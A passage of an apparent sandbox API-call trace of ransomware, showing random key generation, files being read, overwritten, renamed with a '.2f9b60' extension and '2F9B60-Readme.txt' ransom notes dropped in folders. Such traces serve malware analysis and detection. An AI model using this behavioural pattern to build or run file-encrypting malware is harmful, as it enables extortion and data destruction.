Seed=0x3307fa50) returned 0x6c90bfac [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x2198c47b [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x4a472b9d [0110.402] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x254e0301 [0110.402] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x1c5c94d0 [0110.402] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x7f1f7cdf [0110.402] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x4be172f [0110.402] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x3cf0130a [0110.402] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x3346a38 [0110.402] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x757f907b [0110.402] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x5b8699fd [0110.412] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x36c, lpNumberOfBytesRead=0x3307fa50, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x3307fa50*=0x36c, lpOverlapped=0x0) returned 1 [0110.412] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.412] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x36c, lpNumberOfBytesWritten=0x3307fa54, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x3307fa54*=0x36c, lpOverlapped=0x0) returned 1 [0110.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0110.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0110.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76d0) returned 1 [0110.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0110.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0110.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f070 [0110.415] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.415] WriteFile (in: hFile=0x15e0, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3307fb70, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x3307fb70*=0x11c, lpOverlapped=0x0) returned 1 [0110.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7640 [0110.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7640) returned 1 [0110.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9fd70 [0110.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7640 [0110.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7610 [0110.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7610) returned 1 [0110.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b7ceac0 [0110.418] sprintf (in: _Dest=0x1b7ceac0, _Format="%c%c" | out: _Dest="f0") returned 2 [0110.418] sprintf (in: _Dest=0x1b7ceac2, _Format="%c%c" | out: _Dest="03") returned 2 [0110.418] sprintf (in: _Dest=0x1b7ceac4, _Format="%c%c" | out: _Dest="b1") returned 2 [0110.418] sprintf (in: _Dest=0x1b7ceac6, _Format="%c%c" | out: _Dest="ed") returned 2 [0110.418] sprintf (in: _Dest=0x1b7ceac8, _Format="%c%c" | out: _Dest="29") returned 2 [0110.418] sprintf (in: _Dest=0x1b7ceaca, _Format="%c%c" | out: _Dest="f7") returned 2 [0110.418] sprintf (in: _Dest=0x1b7ceacc, _Format="%c%c" | out: _Dest="c6") returned 2 [0110.418] sprintf (in: _Dest=0x1b7ceace, _Format="%c%c" | out: _Dest="a6") returned 2 [0110.418] sprintf (in: _Dest=0x1b7cead0, _Format="%c%c" | out: _Dest="cb") returned 2 [0110.418] sprintf (in: _Dest=0x1b7cead2, _Format="%c%c" | out: _Dest="37") returned 2 [0110.418] sprintf (in: _Dest=0x1b7cead4, _Format="%c%c" | out: _Dest="91") returned 2 [0110.419] sprintf (in: _Dest=0x1b7cead6, _Format="%c%c" | out: _Dest="76") returned 2 [0110.419] sprintf (in: _Dest=0x1b7cead8, _Format="%c%c" | out: _Dest="2e") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceada, _Format="%c%c" | out: _Dest="91") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceadc, _Format="%c%c" | out: _Dest="f2") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceade, _Format="%c%c" | out: _Dest="e8") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceae0, _Format="%c%c" | out: _Dest="2c") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceae2, _Format="%c%c" | out: _Dest="e6") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceae4, _Format="%c%c" | out: _Dest="b6") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceae6, _Format="%c%c" | out: _Dest="49") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceae8, _Format="%c%c" | out: _Dest="9d") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceaea, _Format="%c%c" | out: _Dest="2a") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceaec, _Format="%c%c" | out: _Dest="02") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceaee, _Format="%c%c" | out: _Dest="80") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceaf0, _Format="%c%c" | out: _Dest="66") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceaf2, _Format="%c%c" | out: _Dest="06") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceaf4, _Format="%c%c" | out: _Dest="55") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceaf6, _Format="%c%c" | out: _Dest="42") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceaf8, _Format="%c%c" | out: _Dest="9e") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceafa, _Format="%c%c" | out: _Dest="f3") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceafc, _Format="%c%c" | out: _Dest="2f") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceafe, _Format="%c%c" | out: _Dest="e3") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceb00, _Format="%c%c" | out: _Dest="ad") returned 2 [0110.419] sprintf (in: _Dest=0x1b7ceb02, _Format="%c%c" | out: _Dest="68") returned 2 [0110.420] sprintf (in: _Dest=0x1b7ceb04, _Format="%c%c" | out: _Dest="10") returned 2 [0110.420] sprintf (in: _Dest=0x1b7ceb06, _Format="%c%c" | out: _Dest="5c") returned 2 [0110.420] sprintf (in: _Dest=0x1b7ceb08, _Format="%c%c" | out: _Dest="de") returned 2 [0110.420] sprintf (in: _Dest=0x1b7ceb0a, _Format="%c%c" | out: _Dest="a9") returned 2 [0110.420] sprintf (in: _Dest=0x1b7ceb0c, _Format="%c%c" | out: _Dest="37") returned 2 [0110.420] sprintf (in: _Dest=0x1b7ceb0e, _Format="%c%c" | out: _Dest="66") returned 2 [0110.420] sprintf (in: _Dest=0x1b7ceb10, _Format="%c%c" | out: _Dest="e2") returned 2 [0110.420] sprintf (in: _Dest=0x1b7ceb12, _Format="%c%c" | out: _Dest="7b") returned 2 [0110.420] RtlInitAnsiString (in: DestinationString=0x3307fbe8, SourceString="f003b1ed29f7c6a6cb3791762e91f2e82ce6b6499d2a0280660655429ef32fe3ad68105cdea93766e27b" | out: DestinationString="f003b1ed29f7c6a6cb3791762e91f2e82ce6b6499d2a0280660655429ef32fe3ad68105cdea93766e27b") [0110.420] RtlAnsiStringToUnicodeString (in: DestinationString=0x3307fbb8, SourceString="f003b1ed29f7c6a6cb3791762e91f2e82ce6b6499d2a0280660655429ef32fe3ad68105cdea93766e27b", AllocateDestinationString=1 | out: DestinationString="f003b1ed29f7c6a6cb3791762e91f2e82ce6b6499d2a0280660655429ef32fe3ad68105cdea93766e27b") returned 0x0 [0110.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279a30 [0110.420] wcscat (in: _Dest=0x1b869f40, _Source="f003b1ed29f7c6a6cb379" | out: _Dest="C:\\Users\\Public\\Libraries\\f003b1ed29f7c6a6cb379") returned="C:\\Users\\Public\\Libraries\\f003b1ed29f7c6a6cb379" [0110.420] wcscat (in: _Dest=0x1b869f40, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Libraries\\f003b1ed29f7c6a6cb379.2f9b60") returned="C:\\Users\\Public\\Libraries\\f003b1ed29f7c6a6cb379.2f9b60" [0110.420] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Libraries\\f003b1ed29f7c6a6cb379.2f9b60", NtPathName=0x3307fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Libraries\\f003b1ed29f7c6a6cb379.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205d9b0 [0110.421] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x3307fc30, FileInformation=0x4205d9b0, Length=0x8c, FileInformationClass=0xa) returned 0x0 [0110.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d9b0) returned 1 [0110.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.423] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x3307fbf8, FileInformation=0x3307fc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3307fbf8, FileInformation=0x3307fc08) returned 0x0 [0110.423] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x3307fbf8, FileInformation=0x3307fc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.424] FlushFileBuffers (hFile=0x15e0) returned 1 [0110.425] CloseHandle (hObject=0x15e0) returned 1 [0110.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced9400 [0110.428] wcscpy (in: _Dest=0x1ced9400, _Source="C:\\Users\\Public\\Libraries\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0110.428] wcscat (in: _Dest=0x1ced9400, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Libraries\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Libraries\\2F9B60-Readme.txt" [0110.428] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\libraries\\2f9b60-readme.txt")) returned 0xffffffff [0110.428] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\libraries\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15e0 [0110.432] WriteFile (in: hFile=0x15e0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3307fab0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3307fab0*=0xba9, lpOverlapped=0x0) returned 1 [0110.435] CloseHandle (hObject=0x15e0) returned 1 [0110.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0110.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1fe0) returned 1 Thread: id = 1052 os_tid = 0x1718 [0110.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 0x20 [0110.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx", dwFileAttributes=0x20) returned 1 [0110.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0110.442] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x2329fac0 | out: lpFileSize=0x2329fac0*=21089) returned 1 [0110.442] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x525d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.443] ReadFile (in: hFile=0x15e0, lpBuffer=0x2329fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2329fa88, lpOverlapped=0x0 | out: lpBuffer=0x2329fa40*, lpNumberOfBytesRead=0x2329fa88*=0x4, lpOverlapped=0x0) returned 1 [0110.444] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0110.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859fd0 [0110.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0110.445] NtQuerySystemTime (in: CurrentTime=0x2329f980 | out: CurrentTime=0x2329f980*=132462177159154000) returned 0x0 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x3e44c21d [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x6061af74 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x78a33f3e [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x62e1907f [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x3dec310a [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x11b24686 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x7b5c96ac [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x7eb79c2e [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x6f8ab9a2 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x77f2aa51 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x153cbb01 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x15963170 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x384447c4 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x46feeeaf [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0xe32fd3d [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x7490bc29 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x3979e424 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x26215042 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x77ceb194 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x4858d57 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x2b92f61e [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x25648d07 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x2552e9ec [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x7199884e [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x3e02a7f5 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x2ab723b7 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x2e431ce0 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x7ba213bf [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x60dcb175 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x17d8920 [0110.445] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x7cdda90c [0110.446] RtlRandomEx (in: Seed=0x2329f970 | out: Seed=0x2329f970) returned 0x7f36574 [0110.455] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.455] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2329f9e0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x2329f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.459] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0110.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859df0) returned 1 [0110.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5f0f0 [0110.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0110.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0110.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0110.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.460] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2329f9e0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x2329f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0110.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0110.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f070 [0110.471] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.471] WriteFile (in: hFile=0x15e0, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2329fa90, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2329fa90*=0x10e, lpOverlapped=0x0) returned 1 [0110.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b020 [0110.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b020) returned 1 [0110.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85b020 [0110.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ad20 [0110.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859be0 [0110.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859be0) returned 1 [0110.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd971c0 [0110.486] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="ab") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="78") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="0f") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="e8") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="fb") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="36") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="76") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="01") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="f2") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="9e") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="49") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="de") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="5d") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="dd") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="96") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="d1") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="5c") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="1c") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="c5") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="44") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="af") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="7a") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="f8") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="fd") returned 2 [0110.486] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="f8") returned 2 [0110.487] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="63") returned 2 [0110.487] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="4c") returned 2 [0110.487] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="ff") returned 2 [0110.487] RtlInitAnsiString (in: DestinationString=0x2329fb08, SourceString="ab780fe8fb367601f29e49de5ddd96d15c1cc544af7af8fdf8634cff" | out: DestinationString="ab780fe8fb367601f29e49de5ddd96d15c1cc544af7af8fdf8634cff") [0110.487] RtlAnsiStringToUnicodeString (in: DestinationString=0x2329fad8, SourceString="ab780fe8fb367601f29e49de5ddd96d15c1cc544af7af8fdf8634cff", AllocateDestinationString=1 | out: DestinationString="ab780fe8fb367601f29e49de5ddd96d15c1cc544af7af8fdf8634cff") returned 0x0 [0110.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b86a1c0 [0110.487] wcscat (in: _Dest=0x20279a30, _Source="ab780fe8fb3676" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\ab780fe8fb3676") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\ab780fe8fb3676" [0110.487] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\ab780fe8fb3676.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\ab780fe8fb3676.2f9b60" [0110.487] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\ab780fe8fb3676.2f9b60", NtPathName=0x2329fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\ab780fe8fb3676.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776af0 [0110.487] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x2329fb50, FileInformation=0x1b776af0, Length=0xd0, FileInformationClass=0xa) returned 0x0 [0110.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0110.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.490] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x2329fb18, FileInformation=0x2329fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2329fb18, FileInformation=0x2329fb28) returned 0x0 [0110.490] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x2329fb18, FileInformation=0x2329fb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.492] FlushFileBuffers (hFile=0x15e0) returned 1 [0110.494] CloseHandle (hObject=0x15e0) returned 1 [0110.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.496] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.496] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program 